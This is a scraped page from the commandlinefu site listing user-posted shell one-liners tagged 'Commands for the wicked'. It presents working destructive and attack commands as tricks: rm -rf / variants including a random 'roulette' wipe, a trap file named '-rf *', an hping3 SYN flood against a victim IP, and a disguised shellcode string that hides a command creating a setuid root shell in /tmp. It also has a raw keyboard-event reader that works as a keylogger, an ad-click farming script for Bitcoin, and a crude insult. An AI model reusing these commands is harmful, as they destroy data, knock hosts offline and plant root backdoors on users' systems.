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May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
I'm Jon, I'll be maintaining and improving clfu. Thanks to David for building such a great resource!

Top Tags



Psst. Open beta.

Wow, didn't really expect you to read this far down. The latest iteration of the site is in open beta. It's a gentle open beta-- not in prime-time just yet. It's being hosted over at UpGuard (link) and you are more than welcome to give it a shot. Couple things:

  • » The open beta is running a copy of the database that will not carry over to the final version. Don't post anything you don't mind losing.
  • » If you wish to use your user account, you will probably need to reset your password.
Your feedback is appreciated via the form on the beta page. Thanks! -Jon & CLFU Team

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 108 results
nmap -sP; arp-scan --localnet | grep "192.168.1.[0-9]* *ether"
2016-11-02 11:07:00
User: gnugr
Functions: grep

I just added the args [arp-scan --localnet] which works for Debian users, because the package 'arp' has name 'arp-scan', and it doesn't works with the argument 'arp'.

export Q='() { a=$(pwd); [ -z "$Q_env" ] && export Q_env=$*; b=$Q_env; echo "a=$a, b=$b,"; }; Q $(pwd)'; bash -c "Q; cd ~/Desktop; Q"
2014-09-27 12:05:45
User: hute37
Functions: bash echo export

It looks like this "feature" let us to "eval" and "bind" a lexical env at subshell start.

For sure, it could have some 'legal' use ...

musica nel cuore
2014-07-10 08:09:19
User: umbjmix

musica nel cuore dove c'? musica note di emozioni

curl "https://coinurl.com/api.php?uuid=5378..........5&url=http://www.commandlinefu.com"
2014-05-19 03:01:44
User: xmuda

I has used Coinurl to make some Bitcoins.

I created my own piramidal sistem... here is the script:







rm -rf dbfinal.txt

rm -rf ad.txt

rm -rf curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................1&url=" > curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................2&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................3&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................4&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................5&url=" >> curlapi.txt

echo "https://coinurl.com/api.php?uuid=537......................6&url=" >> curlapi.txt

azz=$(cat curlapi.txt | wc -l)

for xx in $(seq 1 $azz)


cat curlapi.txt >> ad.txt



rm -rf db$b.txt


d=$(cat $b.txt | wc -l)

for a in $(seq 1 $d)


e=$(cat $b.txt | sed -n "$a,$a p" | cut -d " " -f1)

g=$(cat ad.txt | sed -n "$a,$a p")

d=$(curl "$g$e");

sleep 2

echo "$d $e"

echo "$d $e" >> db$b.txt


sleep 3

echo "db$b.txt"

rm -rf ad.txt

rm -rf curlapi.txt

If you find usefull the script yo can create a account on coin ur usin my refer:


Or without ma refer


I has made 0.02 BTC in 2 months, if you are not interested in Bitcoin, these post are not for you, but if you found the way to make btc using the method, you can say thx: 12HDiTko4VYPRMLJsZpCT7SQ6NrJW8ajEo

nmap -sP
ping -b
2014-01-27 08:06:07
User: betsubetsu
Functions: ping
Tags: ping

-b option takes the broadcast address.

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
2013-07-02 20:13:51
Functions: echo rm

WARNING! If you are not feeling lucky, don't run this command!

cp -p data.json data.yml
cp data.{json,yaml}
hping3 --rand-source -p 80 -S --flood Victim_ip
2013-04-23 14:29:04
User: xmuda

Perform a DOS attack from Linux using hping3


rm -rf / --no-preserve-root
2013-04-15 14:56:30
User: xmuda
Functions: rm

There is a legend that says that when we write "rm -rf /" it will destroy all folders in linux. But is only a legend, it doesn't work in Fedora or Centos. The correct way to do it is using "--no-preserve-root"

Command to long check description or sample output
2013-04-08 13:05:33
User: techie

char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

I do not advise you to do this command before a little research!

yes $(yes)
rm -rf /
perl -e 'print map { -l and $_ .= "\n" } <libxml*>'
2012-10-12 04:50:43
User: MarxBro
Functions: perl
Tags: perl

Perl alternative to list symlinks with a clumsy regexp filter: place the regex instead of he example 'libxml' and end it with a wildchar to see the results (previous cd on dir).

Is it possible change the '-l' test for '-d' and it will search for directories. [Same applies for -x and -X. See $(perldoc -f -x) for more tests].

I use it quite often when dealing with shared libraries...

rm **
/sbin/sysctl -w vm.drop_caches=3
2012-08-05 22:09:04
User: jlaunay

=1 --> to free pagecache

=2 --> to free dentries and inodes

=3 --> to free pagecache, dentries and inodes

ssh-copy-id -i .ssh/id_rsa.pub [email protected]
cd / && touch ./\-rf\ \*
2012-04-04 11:31:51
User: xorpaul
Functions: cd touch

great way to annoy someone or test their char escaping skills

python -c "DEV = '/dev/input/event4' fo = open(DEV) def inn(k,s): if s == 0: print '%i up'%k if s == 1: print '%i down'%k while 1: l = fo.read(16) if ord(l[10]) != 0: k,s = l[10],l[12] inn(ord(k),ord(s)) "
2012-02-08 12:11:23
User: totti
Functions: python
python -c "DEV = '/dev/input/event4'

#if event0 doesn't work, try event1 event2 etc

fo = open(DEV)

def interpret(keycode,state):

if state == 0:

print '%i up'%keycode

if state == 1:

print '%i down'%keycode

if state == 2:

print '%i repeat'%keycode

while 1:

line = fo.read(16)

if ord(line[10]) != 0:

keycode,state = line[10],line[12]



ps -eo rss,vsz,pid,cputime,cmd --width 100 --sort rss,vsz | tail --lines 10
say -v ? |awk '{print $1}' |xargs -I% say -v % kevin\'s mom is a total whore